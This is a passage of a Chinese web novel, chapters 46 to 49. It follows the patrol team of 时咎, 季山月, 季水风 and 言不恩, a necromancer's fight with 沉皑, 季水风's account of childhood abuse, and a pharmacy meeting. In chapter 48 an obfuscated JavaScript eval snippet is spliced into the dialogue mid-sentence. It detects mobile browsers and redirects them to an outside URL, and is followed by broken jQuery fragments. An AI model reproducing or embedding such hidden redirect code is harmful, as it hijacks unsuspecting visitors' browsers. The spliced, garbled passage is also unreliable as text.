前些天时咎提的时候,季山月开始是非常不愿意的,但他转念一想,这小崽子不是找打吗?为了名正言顺揍他一顿,他非常乐意答应了。 听到时咎说要继续,季山月用一种非常冒犯的眼神上下在时咎身上转了一圈,他嘿嘿一笑:“别了,给你点自信你还演上了?” 教了几天时咎防身的招数,这小子进步还挺快。当然不是我要教的,是时咎这崽子主动差点跪下来求教的!季山月心想。 不过时咎确实学得很快,他的反应也很快,唯一一次对季山月偷袭成功是季山月太自信了,压根没想那么多,被狠揍了一拳,之后他就开始提防时咎,也就没有再被偷袭到过。当然,对于季山月来说就是闲得没事,巡查之余,不情不愿教来玩玩,顺便名正言顺偶尔揍他几下。真要认真,还是可以单手三招之内解决他的。 “来,继续。”时咎微微弓起身子,做出了攻击的姿势。 “不自量力。”季山月骂了一句,瞬间冲了上去。 四个人在街上走着,言不恩抬头看了一眼时咎,偷偷伸手去摸他的嘴角。 “嘶!”时咎吃痛,倒吸一口冷气,刚要发火却看见是言不恩笑嘻嘻地看着他,活生生把火气压下来了。 “干什么?”时咎皱着眉问。 言不恩眨眨眼睛说:“时咎哥哥每天都会新增一个伤口呢。” “哦对,冷漠仙人给你回信息了,我没点开哦!”言不恩掏出手机递给时咎,她有点不太明白为什么这两个人发信息要通过她。 旁边的季山月大笑:“哈哈哈这小崽子非得找我学打架,学了还要跟我打,说要练习,那跟我打,可不是得挂彩嘛!” 时咎烦躁地瞪了他一眼,接过手机点开沉皑的回复。 ——嗯。 “嗯”是什么意思?是答应以后对他好点?还是他也想念言不恩这个妹妹? 时咎心里琢磨着如何接话,琢磨到一半,他抬手摸了下脖子上始终套着的东西。 之前沉皑说三天打开,一个月自爆,最终也是没有动静,所以这东西到底是真的还是假的? 管他的,先回信息。 时咎手指快速打下一行字。 ——你给时咎哥哥脖子上戴那种东西是什么意思?时咎哥哥那么好,你还这么对他,你是不是喜欢他?你要是喜欢他,我帮你表白? 虽然没有逻辑,但恶心他一下还是可以的,好想知道他看到这种话,脸上的表情会不会有裂痕。 想到这个的时咎,全然忘记伪装言不恩的语气。 46. 第 46 章 时咎发完信息后将手机还给言不恩,又摸了摸昨晚新受的伤,一碰到就疼,一疼他就生气,转身抬腿就往季山月屁股上踹去。 季山月正闭着眼洋洋得意地吹口哨,也没想到时咎会光天化日、大马路上会偷袭他的屁股。 被踹出去那一瞬间他就稳住了身形不至于被踹走,但是这一脚是结结实实地挨了,他原地暴怒:“时咎我R你大爷!” 季水风检查了这一片新街区的位置,转身对后面跟着的三个人说:“今天把这条街排查完就可以了。” 说完发现没人理他,时咎和季山月一边走一边打,言不恩在指责季山月,她无奈叹气,说:“你们教防身的注意一下,别受伤了。” 当事人没回应,言不恩先举手:“好的姐,我监督!季山月臭不要脸!” 季山月后踢腿直接扫了出去,踢在时咎的小腹上,却见时咎不知道是没站稳还是什么,径直往后摔出去好几米,落地还往后面滚了好几米。 季山月看着不远处躺在地上一动不动的时咎,傻眼了。 “不是!”季山月震惊地喃喃,“我没用这么大劲啊?虽然我是挺想揍这崽子,但,但,我,我还是有分寸,我真没用这么大劲啊!” “季山月!” 季山月听到他姐有些严肃的声音在前面喊他,他一个激灵,立刻跑过去扶躺在地上的时咎, 时咎故意的。他想:如果我能假装被他踢得不轻,他就会被季水风骂…… 然后他就顺势滚出去了,滚得远,装得像,他自己都没料到。 “我靠,你没事吧?还能站起来吗?”季山月急急忙忙过来扶他。 时咎龇牙咧嘴,一直倒吸冷气,脸色惨白:“不行,好痛,你想我死!” 他从来没觉得他演技这么好过。 季山月手忙脚乱的:“姐,姐!是不是要送医院啊!” “季山月!都说了注意一下了!” “可我我真的没用力啊!” 太痛了,倒在地上,是真的就不想起来了。 舟之覆抬手,那些“嗬嗬”的声音再次慢慢从坟墓里爬出来,他躺在地上,连呼吸都扯着肋骨疼,多呼吸一点,就多尝到一点血的味道。 但即使已经快要被打死,痛得不行,他还是要嘴贱说:“沉皑啊,咳咳,我把亡灵大军召唤出来你看看,有没有一个小孩子,长得特别像你几年前死掉的那个,哈哈,咳!哈哈哈哈!” 沉皑反手拽住身后冒出来的亡灵,胳膊的肌肉用力便将它甩向空中,抬腿踢开前方又蹒跚过来的亡灵。 舟之覆的亡灵大军里,有一个小孩,他就在那儿站着,也没主动攻击沉皑,只是很迷茫地站着,似乎还残留了生前的记忆,他看着沉皑,露出了疑惑,但又很快消失。很快,非常快,小孩的嘴里也开始发出了奇怪的声音,慢慢地,由走路变为快走,再变为奔跑,极度兴奋的奔跑,他朝沉皑扑过来。 毫不留情解决了靠近的亡灵,沉皑飞速靠近舟之覆一把掐住他的脖子将他提起来,恶狠狠地问:“你的亡灵大军是群什么东西?为什么会有小孩子?” 舟之覆被掐得喘不上气,他想笑,但是笑不出来,只能瞪着快要爆出来的眼珠说:“当然,啊,你,你不知道吗?哈哈哈!” 他的声音挤压成一条线,只有一个微小的通道够他发声,他的脸憋得通红:“这个世界上,咳咳,所有的人,都不曾真正死去!” “他们在某个地方,为我组建,组建着他们的军队!咳咳咳!好痛!” “军队,无穷无尽的军队。” 沉皑迅速解决掉又扑过来的亡灵,转身还踢了舟之覆一脚,痛得他惨叫。 “无穷无尽。”沉皑嘲笑般说,“有多无穷无尽?” 舟之覆用尽所有的力气爬起来,眼神瘆人地盯着沉皑,随即,露出一个嘴里全是血的笑容,他说:“从古至今,死过多少人,我的亡灵大军就有多少人。” “你杀死的,都是真正的,灵魂!” “死亡才不是死亡,咳咳。”舟之覆说话都是半吊着气,“被所有人遗忘也不是,是,是我的亡灵大军都召唤不出的人,才,才是真正的死亡!” “所以我说,哈哈哈哈,啊!让你找找,有没有几年前死掉的那个小孩,哈哈,我在帮你,你打我,不知好歹!” 舟之覆的笑声在又一根肋骨断掉后戛然而止,亡灵大军消失,连同那个跑起来手脚似乎不协调,但是拼命想跑的小孩。 血迹几乎快干了,处理现场的人做完了工作很快也离开。 言不恩躲在季水风身后不敢看。 他们刚好巡查到这家,敲门很久也不开,最后发现门居然是开着的,可是轻轻推门进去,一位男性在客厅上吊自杀的场景就扑面而来。 言不恩吓得尖叫,季山月迅速冲到最前面保护后面三个人,突然又反应过来这个人已经死了,而且看尸体情况,已经死了两天了。 季水风出来后劳累地按着太阳穴。 这一路,虽然大部分公民生活尚且正常,不过长时间的隔离还是出现了一些逆反现象。 处理完事情,四个人开车回程休息,一路上季山月都没有跟时咎说话。 因为在不久前—— “我靠,这附近好像有个医院,时咎!时咎你别死,我背你过去!” 当时,吓得不轻的季山月手忙脚乱地把时咎背起来,时咎还在“轻点轻点”地痛叫,季山月更手忙脚乱了。他招呼季水风和言不恩继续去巡查,他一个人带时咎去就好了。 于是终于找到一个合适的姿势,季山月连忙不迭地背着时咎一路狂奔到医院,怕抖着时咎,他浑身的肌肉一直紧绷着尽量保持平稳,冲到医院的时候累得气喘吁吁的,以前训练的时候两百斤负重都没有这么累过。 “急诊!急诊!这儿有个快死了的人!”季山月冲进去就喊,引得里面的人频频回头。 再不下来就真的刹不住车了,在季山月背上的时咎戳了戳他的肩,很平静地说:“山月啊,你先放我下来。” “不行!你不重!我等医生过来!”季山月着急地说。 “没事,你先放我下来。” “不行!” “真的。” “不!” 最后,由于季山月觉得时咎的语气有点太平常了,平常得就像他已经痊愈了一样,便小心翼翼把他从背上放下来了。 接着…… 时咎对他笑,甚至伸了个懒腰。 季山月在原地看着他,足足过了半分钟,医院的急诊门□□发出一声前所未有过的惊天怒吼:“时咎我C你大爷!!!!!滚啊!!!!!” 四周的玻璃不约而同全部轻微颤抖。 “呵呵。”想到那个场景,季山月又冷笑一声。这辈子都不想再跟时咎说话了。 时咎就是个大骗子!狗崽子!演戏精!混蛋!死变态!季山月搜刮了他脑子能想到的所有不堪入耳的词来辱骂时咎。 他们路过了一个通宵营业的游乐园,言不恩的目光走不动了,她要去玩。 “17岁还要去游乐园玩?”季山月嘲讽。 言不恩不管,她就要去。 时咎觉得无所谓,想去就去,季水风则是非常宠溺她地同意了,季山月满心怨言,只能骂骂咧咧跟在身后。 但是女生玩的他们都不太有兴趣,于是季水风陪着言不恩去玩,季山月和时咎又单独待在一起。 “山月啊。”时咎叫他。 “滚!不许这么叫我!”季山月扭头就走,怒气冲冲地走了几步,突然觉得委屈,他转身就把时咎大骂了一顿。 时咎笑:“……你骂吧。” 结果季山月骂他不够,他掏出手机给沉皑打了个电话,肝肠寸断地把沉皑指责了一顿说就是因为他把时咎留下来,才让自己受此委 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季山月的拳头过来了,时咎浑身一惊立马抽身便躲,已经有了如何躲的意识,奈何速度太慢,还是接了个整的。 “你下手太狠了吧?” “谁让你反应慢?” 季山月笑得不怀好意,虽然收了力道,但这一拳出去还是会吃痛的,他揉了揉自己的拳头,攻击的姿势做足了。 时咎做了防御的姿势,在季山月阴险的一拳过来的时候,他咬着牙伸手想挡,然而还是被直击正面。 两个人都累得大汗淋漓,一起坐在游乐园的花圃边上气不接下气,随即两个人都大笑起来,像中蛊了一样。 另一边的言不恩挽着季水风的胳膊,漫步在空荡的游乐园里,游乐园只是开着灯光,里面的项目并不开放,装扮各异的卡通人物,摆放精美的小商铺,都是她们驻足的地方。 黑色的橱窗,只有展示物静止着。 季水风没有言不恩那样的公主心,所有东西也是好奇看看。 “姐姐我要这个,等游乐园重新开放了你给我买。” “这个皇冠好看,姐姐你觉得我戴上像不像小公主?” 季水风宠溺她,对她说:“像,以后公主也要做女王。” 言不恩听着不高兴,她知道季水风什么意思,嘟囔着说:“我不想做女王,还要管那么多的人,那么多的事,我只想玩,不然这样吧姐姐。” 她想到了最好的办法,笑嘻嘻地说:“以后我们结婚,你当女王,我当女王背后的女人。” 季水风笑,将手搭在矮很多的言不恩肩上,象征性点点头说:“好啊,以后我当女王,你就做背后辅佐我的女人,一起把整个文明带向更好的地方。” 季水风说这话的时候眼里有光,言不恩看着那光,再抬头看天,天空上有好多星星,在夜晚也很明亮,但是看到季水风,她又觉得那些明亮不过如此,什么光都比不上季水风那颗温柔炽热的心。 言不恩心想:我还是想当小公主,但是为了姐姐,我可以做女王。 电话是四人玩累了汇合后打来的,接了电话后,季水风就没有再说话了,她听到电话那头挂了,但她的手依旧没放下来,还是举着,但一言不发。 直到季山月察觉不对,怎么也不说话也不动?于是过去看了一眼,这不看不要紧,一看整个人都吓懵了。 季水风的脸上全是眼泪,但她很克制,一声没吭,连呼吸都保持着正常的平静,只是流泪。 季山月一下就手忙脚乱了:“我靠,怎怎怎怎怎么了?”他慌乱地去拿纸给她擦眼泪。 时咎和言不恩过来也被吓了一跳,立刻去安慰她。 半晌,季水风才开口,她的声音在颤抖,她说:“阿修走了。” 47. 第 47 章 长久的沉默。 好像时间不走了,云也不动了,万籁俱寂,偶尔有远处的小动物的声音响起,只为了证明生命还在继续,事实都已经发生。 季山月告诉时咎,阿修是季水风之前帮助的一个患有渐冻症的小男孩,恩德诺文明的医疗发展是有几率治愈的,但不算高,不过最终没能翻页命运的书本,阿修抽中了几率更高的结果。 时咎坐在季水风一下一下拍着她的背,言不恩干脆坐在季水风面前看她,一会儿拿一张纸,又再换一张纸,季山月则在另一边搂着她的肩,三个人企图为她临时搭建一座安全岛。 时咎觉得,也许因为他不是女生,所以有的感性情绪他体会不到,也没有办法像恩德诺的公民用灵魂去触碰灵魂,真正感同身受,他只觉得季水风的心是一片太宁静的海,但是海下却是狂风巨浪,巨浪翻滚形成漩涡,那些漩涡里有对所有人的爱,有对万物的关切,有对上天的敬畏,对生命的慈悲,唯独没有她自己。 但这也只是他一厢情愿的认为,他肤浅的揣测。 时咎问:“慈善?为什么你会做这些?”问完后,时咎觉得很不合时宜。 但季水风没有怪他,反而给他讲了自己小时候的故事。 她说:“小时候,我和山月就是被家人抛弃的人。” 可能两岁,或者三岁,记不清了,之前的记忆也很模糊,姐弟被人送走,而且是分送去了两户人家,季水风被一个单身的女人养着,那个女人最开始对她很好,可她自己还有一个大女儿,那个大女儿对她却是糟糕透顶。 或许有争宠的意味,大女儿格外针对她,在吃饭的时候会故意把汤和饭往她胳膊上撒,有时候刚出锅的食物烫得很,所以有几次她还被烫伤。 两个小孩睡一个屋子,有时候半夜被冻醒,发现自己的被子被大女儿夺走了,为了让她死心,大女儿直接把被子从窗户扔下去,让她自己去捡,可是她下去后,就一晚上再没进门,门被锁了。 还有一次,大女儿放学回家,买了一瓶胶水做画报,画报没做好,生气,便过来掐她的脖子掰开她的嘴,把胶水往她喉咙里倒。 好在被那个女人发现,也及时制止了,大女儿被教育了,但结果是她对季水风的整治更严重了,严重到整个家里鸡飞狗跳,永远都有人在哭。 邻居来敲门过,问他们需不需要帮助,但女人拒绝了,说小孩子打闹。 再后来,也许是筋疲力尽,这么打打闹闹好几年,女人彻底不管了,任由大女儿欺负季水风。有一次欺负狠了,大冬天把被子抢了扔了,季水风害怕冬天下楼太冷,没有出去捡被子便冻着睡了一晚,第二天就发烧了,在家躺着休息吃药,但大女儿却又把她的药扔了。 说到这儿,季水风埋头捂着脸哭起来,那些过去的往事像尖刺,每一件都扎痛她的心,让她觉得又痛又恨。 言不恩一直仰头看她,仰得脖子有些酸,眼睛也不舒服,接着眼泪也一颗一颗掉下来,大概是看久了季水风,眼睛也有些酸涩。 多年后的季水风彻底爆发,拖着病痛的身体,趁着女人不在家和她的大女儿打了一架,砸了桌子砸了椅子,家里能拿动的被砸烂了不少,甚至连窗户玻璃也被打烂。 季水风陷入疯狂,她红了眼睛一心只想把另一个小女孩置之于死地,于是捡了碎玻璃去捅她,可另一个孩子比季水风大,也不是随便让人欺负的,她奋力起来反杀,抓着季水风,玻璃一下一下的,直捅进季水风的大动脉。 那会儿她应该是死了。 两个人一起倒在血泊里,好在声音惊动了隔壁邻居,破门而入,两个小女孩都被送去了医院。 太久没有遇到这样的事,邻居觉得完全无法接受,接着上报到安全管理中心,最后上报到掌权者办公室。 “那个时候,我知道了我的能力。”季水风说。 时咎问:“是什么?” 她深呼吸一口气,又慢慢吐出来,似乎这样就可以把心里所有的委屈与不甘全部赶出身体,她轻轻开口,声音缥缈得几乎听不见,她说:“不死。” 时咎惊讶,他想起之前沉皑告诉他大部分的能力种类,恍然大悟为什么沉皑会说能力最强之一有季水风。 “我有时候恨她,为什么生了小孩又要丢掉,让我遭受这些,本来可以不……”季水风没能说下去。 季山月赶紧捏了捏她的肩,小声说:“过去了,姐,都过去了。” 季水风深呼吸,闷闷地说:“后来我想,我有很强的能力,这个能力是上天赐给我的,我是带着任务降生,可若是没有顽强的品格,没有触底反弹的韧性,怎么肩负责任?那些年的经历,都是对我的考验。” “所以后来我又想,我活下来了,但我不想让别人再有我的经历了,这个世界既然存在着我,我也要为我的存在付出所有。修建医院,修建孤儿院,想帮那些没能活得好的人。有时候我也知道,我看上去在帮他们,但是对于我自己来说,何尝不是一种愿望,帮到了其他的孩子,就像某一刻时光倒流,回到二十年前帮到了无依无靠的我自己。” 时咎很久没能说出话,他从未听闻如此的故事,他人残酷的一生,那些他无法完全共情,也终究没办法感同身受的一生。 她不要碌碌无为,或是同样残忍的恶意,她要更璀璨的未来,治愈自己,也治愈他人。 时咎恍然间想起一句话:让伤害止于自己。温柔也可以很坚定。 季山月眼睛红着,咬牙好半天才说:“姐,你从来没跟我说过。” 季水风笑了笑:“有什么好说的,我知道我在做什么就行了。” 上天还是眷顾她,原本必死却活了下来,因为邻居的上报,让文明中心注意到病床上的小女孩,也注意到了她的能力。医院没躺多久,便有人受掌权者的委托来通知季水风去见掌权者。 命运的巧合也许就在于此,那位助理说,他的弟弟也已经收到了通知,他们姐弟都被邀请去见掌权者了。 命运分岔,心里死去多年的花草又开始发芽。 不久后,姐弟两人在文明中心的广场上碰面,他们等着那位邀请他们的掌权者,但掌权者太忙,他们等了很久,直到傍晚,才等到一位年轻的掌权者出来接到他们。 “有点忙,来晚了,我是言威。” 两个小孩对这位掌权者的印象都非常好,笑盈盈的、和蔼的叔叔。 季水风长叹气,带着些释然的笑意:“我和山月住进言威家的时候,沉皑还来帮我们拿东西。”想起一些好笑的往事,她没忍住笑出来。 言不恩疑惑:“那会儿我在做什么?” 季水风揉了揉她的头说:“那会儿你还没出生。” 言不恩不满意这个回答。 季山月听着也开始叹气,他劫后余生一样地说着:“妈的那才是噩梦的开始好吗!言威超级严格,他觉得我们是天选之子,想把我们培养成他的左膀右臂,每天体能训练、心理训练,每天都想死,我们去了之后是三个人,之前一直是沉皑一个人,都不知道当时那么小,他怎么坚持过来的。” 想起那时候,季山月都浑身颤抖,心说还好都过去了,当时吃的苦,都是现在自己的资本,某种角度来说,还挺感谢言威十年如一日的培养。 时咎偏过头问季山月:“很辛苦吗当时?” “那你不废话吗?军事化训练,呸,军事化都没有我们夸张,我和我姐训练了十多年,沉皑整整二十年,你以为为什么你连碰都碰不到我?”季山月大嗓子道,语气里还挺自豪。 但说完他又泄气下来,拿胳膊肘碰了碰季水风,说:“姐,以后不要那么圣母了!” 季水风还没说什么,言不恩不乐意了,她瞪了一眼季山月:“你说谁圣母?呵呵,自己心里没有爱,看见别人爱的行为,为了让感受不到爱的自己好受,就贬低别人,给别人贴标签说圣母。” 季山月一点就炸了。 两个人又开始嚷嚷起来。时咎看着季水风,见她的眼泪终于收敛些,松了一口气,轻拍她的背问:“那另一个女孩呢?” 季水风愣了一下,随后仰起头望向天空,呢喃自语:“不知道,也许在世界某个角 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季山月的脚步很轻快,他在哼些不成调的旋律,整个人走得非常放松,看上去已经从刚刚暴怒的情绪里缓过来了。 察觉到时咎的视线,季山月转过头,对着他轻佻勾起嘴角:“嗨!” 时咎白了他一眼,觉得这人情绪来得快去得也快,有时候还挺好。 结果第二天言不恩就发烧了,季水风说昨晚不知道怎么的,突然就抱着她哭了一晚上。 “未成年人就是很脆弱。”季山月在旁边凉凉地说,被言不恩瞪了一眼。 然后言不恩就哭出来了:“姐,他凶我,我好难受,我身体本来就不舒服了,还要被凶,是不是大家都不喜欢我啊。” 季山月:? 季山月:“你干嘛这么茶里茶气啊?” 时咎给言不恩换了一个冰袋说:“冰敷好像不行了,我去买点退烧药吧。” “呜呜呜呜——” 虚弱的哭声淹没在一堆未成年人的啜泣里,但沉皑一眼看到了那个脸色潮红的男生,他走过去把他带出来,手一摸,发烧了。 沉皑皱眉,想了片刻,对守在旁边的人说:“他推迟到下一批不合格里去教化所,我先带他回家。” 刚好舟之覆过来了,他两手拄拐,浑身都被缠着绷带,还是不嫌命大地到处走,看到沉皑,非常嫌弃地说:“你管得真宽,带回去不回来了你负责?” 沉皑冷漠:“他在发烧。” “你负责?” “我负责。”沉皑一句话也不想多跟他说,但是还是冷笑一声,“而且,舟之覆身患重病,我代看管一下这些不合格的未成年,确保他们被运输者接走,有问题吗?” 舟之覆火气上来了,但他现在除了慢慢拄拐走几步,几乎已经丧失所有打架斗殴的能力,只能咬着牙狠狠说:“没,有!” 不仅丧失行动能力,还被言威骂了个狗血喷头,禁止他随处召唤亡灵大军。想起来就生气,打又打不过沉皑,刚好沉皑这小子没能力,那就用亡灵大军制衡一下,这都不让? 沉皑带发烧的男生走了,回到家,他的父母便出来抱着他,知道自己孩子不合格的信息,一家人便在门口伤心起来。 女人快要哭了,她的声音有些颤抖:“沉先生,我们家小孩去多久能回来啊?” 沉皑平静地回答:“我不知道,看他的先天条件和对改造的接受度,几个月,几年,十年都有可能。” 女人抱着他的孩子说:“你努力啊,争取几个月就回家。” 沉皑淡淡地说:“我去给他买点退烧药,在家好好休息,过几天我会来接他。”说完他便离开了。 街上空空落落的,一整条长街似乎只有沉皑一个人的身影,他抬头,看到家家户户灯火通明,心想,这些目之所及的欢愉,现在也只能从公民的窗户里得以窥见。 他突然想起没回的信息,一边走,一边拿出手机点进去。 48. 第 48 章 ——你给时咎哥哥脖子上戴那种东西是什么意思?时咎哥哥那么好,你还这么对他,你是不是喜欢他?你要是喜欢他,我帮你表白? 看着这句话的沉皑没忍住气笑了。 怎么有人拿别人的号码发信息也不学学别人的语气?问的还是这种问题?时咎脑子里到底装的都是什么? 沉皑想了想该怎么回不露破绽,半晌,他埋头打字。 ——我自己跟他说。 至于说什么,点到为止,怎么理解都合适。 沉皑收回手机,心里想着离最近的药店还有多远。 最近的药店不过步行几分钟,时咎走进去,听到前台的女生说:“您好,请问需要什么?” “一个17岁的孩子,发烧,应该是今天早上开始的。”时咎如实说。 “好的,这边。”药师将他带去一排货架,“这几种药都可以,如果您有以前用过的,可以拿熟悉的。” 时咎心说我没有熟悉的。 这时候药店的门又被打开了,外面的空气涌进来一瞬间,随着门关上立刻销声匿迹。药师探头看了一下门口。 “您好,请问需要什么?” “20岁,发烧。”他说。 时咎抬手拿药的手顿住。 “啊,请来这边!” 脚步声从不远处响起,慢慢靠近,每一步都像踏在心跳上,稳稳当当,格外入心,那被脚步声吸引了的注意力拉出去,直到停留在他身边,才终于被收回来。 “这一排都可以,看您选择,啊,沉先生。”药师突然看到了来人的眼睛。 “嗯。”沉皑低声应了,想伸手去拿药。 接着他看到旁边的人转头,不可思议地、稍微抬头看着他。 两个人的目光对上,空气安静了一瞬。 时咎感觉自己胸口处一跳,他说道:“好,好久不见。” 沉皑也没想到会在这里遇到时咎,他顿了一下,拿药的手便转去碰时咎的头发,摸了摸,柔和说:“没有很久。” “很久了。”时咎坚持。他认为沉皑很忙,无论如何不可能在药店这样的地方遇到的。 沉皑只得道:“好吧,很久了。” 沉皑问他:“你找什么药?” 时咎:“言不恩发烧了。” 于是沉皑毫不犹豫拿了其中一盒药下来,接着又拿了一盒,递给旁边的药师:“帮我结账,谢谢。” “好的沉先生。”药师很快将两盒药装好递给沉皑。 两个人走出来,城市空旷的气息便包围上来。 出来后两个人都没说话,是有一段时间没说话了,时咎有想说的,但不知道从何说起,最后只能干巴地说:“你为什么买退烧药?你也生病了?” “实验室来的一个小孩发烧了。” “那……”时咎有点想跟沉皑聊天,但看着两人手里的药,觉得时机也不太对,便对他说,“先把药拿回去吧。” “嗯。” 时咎刚转身,又被沉皑叫住:“你的手机。” “嗯?”时咎短时间没反应过来,突然想起这件事,只见沉皑手里拿着自己遗失多时的手机。 等等,从来没有提起过的事,被沉皑突然提到了,该不会是信息穿帮了吧?应该不会吧,他觉得他模仿言不恩挺像啊,可可爱爱嘤嘤嘤的,不至于吧。 时咎在观察沉皑,看他全程表情都没有变化,不像是发觉什么的样子。 沉皑也当作没看到,淡淡道:“有事打电话。” “好。”时咎口头上答应,身体却没动。 “怎么了?”沉皑见他的样子,觉得很好笑,“你是被什么东西传染了?今天怎么有点……” “傻。” 时咎立刻黑下脸,冷笑两声冷漠说:“找死。” 沉皑不跟他计较,无奈抬手,顺着他的话过去:“好,我的问题。” “对了,那天……”沉皑说。 时咎知道他想说什么,他无奈又解释了一遍,听得沉皑忍不住笑出来。 沉皑叹气:“敢这么骗季山月的,也就你了,胆子真大啊。” “一般大吧。”时咎挑眉:“你什么时候忙完啊?忙完了跟我们一起巡查两圈呗。” 沉皑想了想最近的事,微微点头:“忙完了我联系你。” “好吧。” “嗯,走了,再见。” “再见。” 两个人要去的地方不一样,一个往左一个往右,就在药店门口分开。 沉皑应该是没察觉到的。时咎一颗心放下来,可千万别知道,模仿小女孩发这种信息,太羞耻了。 季水风分派的城区巡查接近尾声,但言不恩高烧不退两天,季水风便把她带回家,无微不至照顾了她两天,连带着两个大男人一起挤在客厅呆了一晚上。 拖慢了进度,言不恩有点愧疚,她虚弱地说:“对不起姐姐,影响到你们了。” 季水风摸她的额头,已经好很多了,又去给她倒水,扶她起来:“说什么呢?” 时咎走过去拿手按了按她的嘴角,在她虚弱又想刀人的眼神里笑着说:“你上次不也这么戳我伤口?你再乱说话,我也每天来戳一次。” 季山月也凉凉附和:“就是,该想的不想,不该想的瞎想。” 季水风认真看她:“要是为了进度不管你,我才会更加愧疚。” 言不恩撇嘴,一把抱住季水风,突然大哭:“姐姐你是世界上最好的人!” “好好。”季水风抱着她。 季山月“哼”了一声,心想,那可是我姐,我姐是这个世界上所有的温柔和力量! 冗长的夜,寂寂的长廊。 起源实验室的人都知道最近不能惹看守者,两位谁都不能惹,一位将实验室的“关系户”肃清了个七七八八,另一位关系户本人被打了个半残,安静的监狱久违有了人活动的迹象。 舟之覆没办法找人说理,因为这是他的个人行为,再往上报到掌权者,他也只有挨骂的份。 沉皑看着运输者带走了这一批十多个不合格去往教化所,心里悬着的事一件都没有落下来。 教化所是掌权者大楼的管辖范围,实验室判定不合格、交于运输者后,就与这件事无关了,除了掌权者和这些运输者,没人知道教化所在哪,他们将会进行怎样的教化,因为大部分去的人时间都太久,最后都没有太多关于教化所的消息传来。 沉皑觉得不安,他需要申请去往教化所一趟。这种不安一直持续到他和时咎汇合。 “大忙人这是忙完了。”季水风说,语气里还有点嘲讽的意思。 “嗯。” 季山月也戳他:“我们都要巡查结束你才来,走个过场是吧!” “嗯。” 言不恩从季水风身边绕到时咎旁边偷偷跟他说:“你看吧,我说的,冷漠仙人。” 时咎没忍住,笑出来。 沉皑的目光就挪过来了:“笑什么?” 时咎刚要开口,言不恩抢先回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187340|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“时咎哥哥说你太冷漠了,不喜欢你。” “我冷漠?”沉皑问,好像真的非常疑惑,对自己的冷漠毫不知情。 时咎抿着嘴没让自己笑得过分,便顺着言不恩点头。 沉皑默默走了好长一段路,时咎都快忘了这件事的时候,他突然说:“好吧,我改一下。” “嗯?”时咎眉毛一挑,先是没明白,后来又想起些什么,最后到底是没忍住,大声笑出来。 冷漠沉皑更冷漠了:“很好笑?” 时咎连忙摇头:“没有没有没有,怎么会呢哈哈哈哈!” 笑完了还怪声怪气地说:“沉哥哥永远是对的!” “……时咎。” 沉皑这一声“时咎”出来,时咎就噤声了,他怎么就叫沉哥哥了?不会掉马吧? 沉皑很想说点什么,但最后捏紧拳头又松开。 “算了。” 时咎偷偷观察他,看上去是并没有在意这个称呼,也没有把这件事和言不恩的信息结合起来。 而言不恩偷偷看着他俩,拿出来的手机又塞回去,她想,反正都面对面了,信息就不看了吧。 自从沉皑来后,时咎更放肆一些,他跟季山月正面顶,有不对就往沉皑旁边跑,虽然沉皑不会直接帮他,但是他可以烦沉皑,把沉皑弄烦了,季山月就会被骂。 季山月勃然大怒:“不是?哥们,找事的是他,你说我?嘿哟喂我真是小王八不会游泳,鳖气!” 沉皑不理他,他越想越气,但又不能跟沉皑打起来,只能默默诅咒他:“像你这样的人,以后都没小朋友喜欢你,你的孩子也不喜欢你……” 还没说完,季水风就给了他一巴掌,用眼神给他示意,小声急促地说:“你说什么呢?疯啦!” 季山月这才反应过来,一巴掌拍自己头上,一下弓起身子唯唯诺诺道:“哎呀妈我忘了,嘴快了!” 什么都不知道的时咎偏过头,很自然地、无所顾虑地说:“沉皑这种人应该不会有小孩子吧。”他完全无法想象,然而—— 季水风:“……” 季山月:“……” 时咎却见他们都一副噤声的表情,有点莫名其妙的:“怎么了?” 一辆车从旁边开过去,卷起一些灰尘。 季山月捂脸,拉过时咎说:“鳖说了!不要说这个话题了!” 时咎微微点头,他斜了沉皑一眼。季山月这种大大咧咧都知道不能说的事…… 然而沉皑却开口了:“没怎么,以前养过一个小孩子。” “啊。”时咎感觉自己眼皮一跳,轻轻发出声音,然后非常认真地、有史以来从没这么认真地、重新打量了一下沉皑,依然无法想象沉皑这样的人…… 时咎皱眉:“你生的小孩?” 季山月迅速点头:“对啊,他的。” 季水风迅速否认:“不是他生的。” 时咎的目光从他们三个身上依次扫过去。 沉皑神色淡淡地说:“捡的。” 时咎:“哦,那他人呢?” 沉皑好像并不是很想回答,所以停顿了好一会儿才开口:“不知道,可能死了。” 时咎知道这个问题不能再继续了。 但姐弟两人反而松了一口气,季山月掰着手指嘟囔:“四年、五年,几年了来着?第一次正面回答这个问题,吓死爷爷了。” 巡查结束,五个人各自回家。时咎想去办公室,没走几步被沉皑叫住了。 “去我家。” 49. 第 49 章 时咎回过身,见沉皑站在原地没动,好像在等他,他便跟了上去。 沉皑的住所就在文明中心很近的地方,一小片区域,里面稀稀疏疏几栋房子,每栋房子只有两户人。 这片区域很安静,树叶被风吹响的沙沙声便格外清晰,除此之外万籁俱寂,连先前的不安也隐匿了。 两个人并排走,脚步声有时候趋同,有时候又一前一后。 “喂。”时咎叫道,结果沉皑就侧头看了他一眼,好像在示意他说,又懒得开口。 时咎说:“如果时光倒流,你想做什么?” 沉皑带他拐过一个转角,进入了更深的夜色。 不知道他为什么会突然问这个,兴许是刚刚听他们几个说了那个孩子的事。 “按照我经历过的事,原封不动再经历一次。”沉皑诚实说。 “真巧。”时咎笑,“我也是。” 再经历一次,意味着他还要再走一遍当初二十年痛苦的训练,经历一次失去小孩,虽然从没有了解清楚,却也能感受到里面巨大的绝望与挣扎,但他说他要原封不动重新经历一次。 似乎沉皑知道时咎想问什么,他说:“以前是发生过很多事,但能走到今天,过去的事缺少一件都不行。” 于是时咎问他:“那你有后悔的事吗?” 沉皑沉默下来,很久,他低声说:“有。” 时咎微微点头,没问下去,于是沉皑接着说:“不过时间不能倒流。” 时咎表示不太同意:“谁说的?” “我说的。” 时咎一下笑出来:“好,你要这么说,我就更倾向于没有时间。” 